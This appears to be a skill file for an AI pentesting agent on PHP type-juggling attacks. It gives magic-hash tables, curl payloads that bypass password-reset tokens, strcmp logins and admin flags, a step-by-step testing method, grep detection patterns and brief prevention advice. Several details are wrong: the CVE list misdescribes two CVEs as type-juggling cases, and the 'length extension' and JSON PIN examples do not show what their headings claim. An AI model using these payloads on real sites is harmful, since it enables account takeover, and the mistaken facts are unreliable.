Php Type Juggling

---
name: php-type-juggling
description: |
  This skill covers PHP type juggling vulnerabilities including magic hashes,
  loose comparison bypass, and authentication circumvention. Use when encountering
  PHP applications with password reset, token validation, or strcmp-based auth.
---

# PHP Type Juggling Exploitation

## Overview
PHP's loose comparison operator (`==`) performs type juggling, converting values before comparison. This leads to exploitable vulnerabilities in authentication and token validation.

## Core Concept

```php
// Vulnerable code
if ($user_token == $db_token) {
    // Grant access
}

// Exploitation: if $db_token starts with "0e" and contains only digits
// "0e123456789" == 0 evaluates to TRUE
// Attacker sends token=0 to bypass validation
```

## Magic Hashes

Magic hashes are strings that PHP interprets as scientific notation (0eXXX = 0 * 10^XXX = 0).

### MD5 Magic Hashes
These strings produce MD5 hashes that start with `0e` followed only by digits:

| Plaintext | MD5 Hash |
|-----------|----------|
| `240610708` | `0e462097431906509019562988736854` |
| `QNKCDZO` | `0e830400451993494058024219903391` |
| `0e215962017` | `0e291242476940776845150308577824` |
| `aabg7XSs` | `0e087386482136013740957780965295` |
| `aabC9RqS` | `0e041022518165728065344349536299` |

### SHA1 Magic Hashes
| Plaintext | SHA1 Hash |
|-----------|-----------|
| `10932435112` | `0e07766915004133176347055865026311692244` |
| `aaroZmOk` | `0e66507019969427134894567494305185566735` |
| `aaK1STfY` | `0e76658526655756207688271159624026011393` |

## Exploitation Techniques

### 1. Password Reset Token Bypass

**Vulnerable Endpoint**:
```
GET /forgot-password?token=<value>
```

**Vulnerable Code**:
```php
$user_token = $_GET['token'];
$db_token = get_token_from_database($user_id);

if ($user_token == $db_token) {
    // Allow password reset
}
```

**Exploitation**:
```bash
# If database token is a magic hash (0e...), send:
curl "http://target/forgot-password?token=0"

# Or try as array to bypass strcmp:
curl "http://target/forgot-password?token[]=anything"
```

**Real-World Example (MonitorsFour)**:
```bash
# Database had token: 0e7106... (magic hash)
# Bypass with:
curl "http://monitorsfour.htb/forgot-password?token=0"
# Returns: password reset form with user credentials leaked
```

### 2. strcmp() Bypass

**Vulnerable Code**:
```php
if (strcmp($_POST['password'], $correct_password) == 0) {
    // Login successful
}
```

**Exploitation**:
When `strcmp()` receives an array instead of string, it returns NULL.
`NULL == 0` is TRUE in PHP.

```bash
# Send password as array
curl -X POST http://target/login \
    -d "username=admin" \
    -d "password[]=anything"
```

### 3. Boolean/Integer Juggling

**Vulnerable Code**:
```php
if ($is_admin == true) {
    // Grant admin access
}
```

**Exploitation**:
```bash
# These all equal true when loosely compared:
curl "http://target/?is_admin=1"
curl "http://target/?is_admin=true"
curl "http://target/?is_admin[]=x"  # Arrays are truthy
```

### 4. JSON Type Confusion

**Vulnerable Code**:
```php
$data = json_decode($input);
if ($data->pin == "1234") {
    // Validate PIN
}
```

**Exploitation**:
```bash
# Send integer instead of string
curl -X POST http://target/api \
    -H "Content-Type: application/json" \
    -d '{"pin": 1234}'

# 1234 == "1234" is TRUE in PHP
```

### 5. Hash Length Extension (with Juggling)

**Vulnerable Code**:
```php
$token = md5($secret . $_GET['data']);
if ($token == $_GET['signature']) {
    // Valid signature
}
```

**Exploitation**:
If attacker can make signature a magic hash:
```bash
# Find data that produces 0e... hash when combined with secret
# Then send signature=0
```

## Detection Methods

### Identifying Vulnerable Code Patterns

```bash
# Search for loose comparisons
grep -rn "== \$" *.php
grep -rn "\$.*==" *.php

# Search for strcmp with loose comparison
grep -rn "strcmp.*== 0" *.php
grep -rn "strcmp.*!= 0" *.php

# Search for MD5/SHA comparisons
grep -rn "md5.*==" *.php
grep -rn "sha1.*==" *.php
```

### Identifying Vulnerable Endpoints

1. **Password reset pages**: `/forgot-password`, `/reset-password`, `/recover`
2. **Token validation**: `/verify`, `/activate`, `/confirm`
3. **API authentication**: `/api/auth`, `/api/token`
4. **Admin panels**: `/admin/login`, `/dashboard`

## Testing Methodology

### Step 1: Identify Token-Based Features
```bash
# Map password reset flow
curl -s http://target/forgot-password | grep -i token
curl -s http://target/reset-password | grep -i token
```

### Step 2: Test Integer Comparison
```bash
# Try token=0
curl "http://target/forgot-password?token=0"

# Try token as integer in JSON
curl -X POST http://target/api/reset \
    -H "Content-Type: application/json" \
    -d '{"token": 0}'
```

### Step 3: Test Array Injection
```bash
# Array bypass for strcmp
curl "http://target/login" -d "password[]=x"
curl "http://target/forgot-password?token[]=x"
```

### Step 4: Test Magic Hash Values
```bash
# If you know the hash algorithm
curl "http://target/forgot-password?token=240610708"  # MD5 magic
curl "http://target/forgot-password?token=QNKCDZO"    # MD5 magic
```

## Prevention (For Reference)

Secure code uses strict comparison:
```php
// Secure: Use === instead of ==
if ($user_token === $db_token) {
    // Safe comparison
}

// Secure: Type casting
if ((string)$user_token === (string)$db_token) {
    // Safe comparison
}

// Secure: hash_equals for timing-safe comparison
if (hash_equals($db_token, $user_token)) {
    // Safe and timing-attack resistant
}
```

## Quick Reference Card

| Attack | Payload | Bypasses |
|--------|---------|----------|
| Magic hash | `token=0` | `0e12345 == 0` |
| Array bypass | `param[]=x` | `strcmp()`, loose comparison |
| Boolean | `param=1` | `$var == true` |
| Integer in JSON | `{"param": 0}` | String-to-int comparison |

## Real-World CVEs

- **CVE-2014-0166**: WordPress cookie forgery via type juggling
- **CVE-2015-4024**: PHP multipart/form-data DoS and bypass
- **CVE-2016-3714**: ImageMagick delegate type confusion

## Related Skills
- `password-hunting` - Finding credentials to test
- `web-enumeration` - Discovering vulnerable endpoints
- `common-exploits` - Other web vulnerabilities